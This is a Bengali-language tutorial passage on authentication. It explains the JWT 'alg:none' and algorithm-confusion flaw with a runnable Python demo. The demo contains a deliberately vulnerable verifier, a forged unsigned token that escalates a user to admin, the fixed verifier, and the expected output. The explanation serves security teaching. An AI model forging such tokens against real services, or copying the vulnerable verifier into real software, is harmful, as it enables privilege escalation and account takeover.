Authentication — সেশন কুকি, JWT, আর OAuth2-এর যুদ্ধক্ষেত্র

এটাই ইতিহাসের সবচেয়ে বিখ্যাত JWT vulnerability class: alg:none / algorithm-confusion। JWT স্পেসিফিকেশনে alg নামের একটা header field আছে যা বলে দেয় কোন algorithm দিয়ে সাইন করা হয়েছে — এমনকি "none" নামের একটা বৈধ মান-ও আছে (কিছু ব্যবহারিক ক্ষেত্রে unsigned token পাঠানোর জন্য, যেমন দুইটা trusted party-র মধ্যে already-secured channel-এ)। সমস্যাটা তখনই শুরু হয় যখন কোনো library/verifier সিদ্ধান্ত নেয় কোন algorithm ব্যবহার করবে তা token নিজেই বলে দিক।

# alg_none.py -- classic "alg:none" / algorithm-confusion JWT vulnerability
import json, hmac, hashlib, base64

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def b64url_decode(s: str) -> bytes:
    pad = "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s + pad)

SECRET = b"super-secret-server-key-32bytes!"

def sign_hs256(payload: dict) -> str:
    header = {"alg": "HS256", "typ": "JWT"}
    h = b64url_encode(json.dumps(header, separators=(",", ":"), sort_keys=True).encode())
    p = b64url_encode(json.dumps(payload, separators=(",", ":"), sort_keys=True).encode())
    sig = hmac.new(SECRET, f"{h}.{p}".encode(), hashlib.sha256).digest()
    return f"{h}.{p}.{b64url_encode(sig)}"

# ---------- দুর্বল verifier: token নিজের 'alg' header বিশ্বাস করে ----------
def verify_vulnerable(token: str) -> dict:
    h_b64, p_b64, sig_b64 = token.split(".")
    header = json.loads(b64url_decode(h_b64))
    payload = json.loads(b64url_decode(p_b64))
    alg = header.get("alg", "HS256")
    if alg.lower() == "none":
        # bug: signature check সম্পূর্ণ বাদ দেওয়া হয়েছে -- token নিজেই বলে দিচ্ছে
        # "আমাকে বিশ্বাস করো, sign করার দরকার নেই"
        return payload
    expected = hmac.new(SECRET, f"{h_b64}.{p_b64}".encode(), hashlib.sha256).digest()
    if not hmac.compare_digest(expected, b64url_decode(sig_b64)):
        raise ValueError("signature invalid")
    return payload

# ---------- নিরাপদ verifier: server নিজেই algorithm ঠিক করে, token-কে জিজ্ঞেস করে না ----------
def verify_safe(token: str, expected_alg="HS256") -> dict:
    h_b64, p_b64, sig_b64 = token.split(".")
    header = json.loads(b64url_decode(h_b64))
    if header.get("alg") != expected_alg:
        raise ValueError(f"rejected: alg={header.get('alg')!r}, server শুধু {expected_alg!r} মানে")
    expected = hmac.new(SECRET, f"{h_b64}.{p_b64}".encode(), hashlib.sha256).digest()
    if not hmac.compare_digest(expected, b64url_decode(sig_b64)):
        raise ValueError("signature invalid")
    return json.loads(b64url_decode(p_b64))

# ---------- আসল, বৈধ user token ----------
legit = sign_hs256({"sub": "user-4471", "role": "user"})
print(f"legit token verifies as: {verify_vulnerable(legit)}")
print()

# ---------- attacker: alg=none, কোনো secret না জেনেই forge ----------
forged_header = {"alg": "none", "typ": "JWT"}
forged_payload = {"sub": "user-4471", "role": "admin"}
h_b64 = b64url_encode(json.dumps(forged_header, separators=(",", ":"), sort_keys=True).encode())
p_b64 = b64url_encode(json.dumps(forged_payload, separators=(",", ":"), sort_keys=True).encode())
forged_token = f"{h_b64}.{p_b64}."   # signature অংশ ফাঁকা -- 'none' মানেই sign করা হয়নি

print("forged token (alg=none, empty signature, কোনো SECRET জানা লাগেনি):")
print(f"  {forged_token}")
print()

print("--- দুর্বল verifier (token-এর নিজের 'alg' মেনে চলে) ---")
try:
    result = verify_vulnerable(forged_token)
    print(f"  ACCEPTED -> {result}   *** attacker admin হয়ে গেল! ***")
except ValueError as e:
    print(f"  rejected: {e}")

print()
print("--- নিরাপদ verifier (server নিজেই expected_alg='HS256' fix করে রেখেছে) ---")
try:
    result = verify_safe(forged_token)
    print(f"  ACCEPTED -> {result}")
except ValueError as e:
    print(f"  rejected: {e}")

প্রত্যাশিত output (deterministic — হুবহু এটাই আসবে):

legit token verifies as: {'role': 'user', 'sub': 'user-4471'}

forged token (alg=none, empty signature, কোনো SECRET জানা লাগেনি):
  eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiJ1c2VyLTQ0NzEifQ.

--- দুর্বল verifier (token-এর নিজের 'alg' মেনে চলে) ---
  ACCEPTED -> {'role': 'admin', 'sub': 'user-4471'}   *** attacker admin হয়ে গেল! ***

--- নিরাপদ verifier (server নিজেই expected_alg='HS256' fix করে রেখেছে) ---
  rejected: rejected: alg='none', server শুধু 'HS256' মানে

মূল মুহূর্ত ACCEPTED -> {'role': 'admin', ...} — attacker SECRET-এর একটা byte-ও না জেনে, শুধু header-এ "alg": "none" লিখে আর signature অংশ ফাঁকা রেখে, নিজের বেছে নেওয়া যেকোনো claim (এখানে role: admin) সরাসরি সার্ভারকে বিশ্বাস করিয়ে দিল। বাস্তব ইতিহাসে (২০১৫ সালের দিকে) একাধিক জনপ্রিয় JWT library ঠিক এই bug-এ ধরা পড়ে — alg header trust করে decode করত, caller algorithm নির্দিষ্ট না করলে। একই পরিবারের একটা আরও সূক্ষ্ম ভ্যারিয়েন্ট: server RSA (asymmetric, RS256) দিয়ে সাইন করছে ভেবে token verify করছে, কিন্তু attacker alg: HS256 পাঠিয়ে public key-টাকেই HMAC secret হিসেবে ব্যবহার করে — public key তো নামেই প্রকাশ্য, attacker-এর হাতে সহজেই থাকে। দুইটা bug-এরই মূল কারণ এক লাইনে: verifier যদি “কীভাবে verify করব” তা token-কে জিজ্ঞেস করে, attacker সেই প্রশ্নের উত্তর নিজেই লিখে দিতে পারে।